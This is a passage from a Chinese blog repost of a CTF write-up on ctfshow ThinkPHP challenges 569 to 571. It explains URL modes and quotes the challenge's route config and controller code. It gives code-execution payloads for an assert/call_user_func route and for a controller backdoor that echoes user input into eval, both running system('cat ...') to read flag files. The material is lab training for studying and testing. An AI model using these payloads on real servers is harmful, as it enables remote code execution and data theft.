thinkphp 专题
2022/1/11 1:03:25
本文主要是介绍thinkphp 专题,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
thinkphp完全开发手册
https://www.kancloud.cn/manual/thinkphp/1678
569 pathinfo的运用
四种模式
1.普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如: http://localhost/?m=home&c=user&a=login&var=value m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。 2.PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是: http://localhost/index.php/home/user/login/var/value/ 3.REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。接下来,就可以用下面的URL地址访问了: http://localhost/home/user/login/var/value 4.兼容模式是用于不支持PATHINFO的特殊环境,URL访问地址可以变成: http://localhost/?path=/home-user-login-var-value
payload:
url/index.php/Admin/Login/ctfshowLogin
570 路由
路由规则的定义格式为: '路由表达式'=>'路由地址和传入参数'
或者:array('路由表达式','路由地址','传入参数')
匹配路由表达式从而达到****简化路径的作用
查看下载下来的config.php
<?php return array( //'配置项'=>'配置值' 'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'ctfshow', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'ctfshow', // 密码 'DB_PORT' => '3306', // 端口 'URL_ROUTER_ON' => true, 'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' =>function($f,$a){ call_user_func($f, $a); } ) );
存在ctfshow的路由
即URL为url/ctfshow/a/b 则会调用 call_user_func(a,b)
因为eval是一个语言结构而不是函数,所以这里是不能被call_user_func调用的,使用assert(system("ls"));尝试ls /时却不行,换下思路, /ctfshow/assert/assert($_POST[1]) post: 1=system('cat /f*'); 这里还有一个要注意的,那就是直接构造 /ctfshow/assert/$_POST[1] 是不行的,因为$_POST[1]不会被解析
571 控制器
查看下载的控制器文件
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n=''){ $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8'); } } 跟进show protected function show($content,$charset='',$contentType='',$prefix='') { $this->view->display('',$charset,$contentType,$content,$prefix); } 进入fetch // 页面缓存 ob_start(); ob_implicit_flush(0); if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 $_content = $content; // 模板阵列变量分解成为独立变量 extract($this->tVar, EXTR_OVERWRITE); // 直接载入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content); }else{ // 视图解析标签 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); } 会直接eval('?>'.$_content);//可以进行命令执行
payload:
system("cat /flag*")
这篇关于thinkphp 专题的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享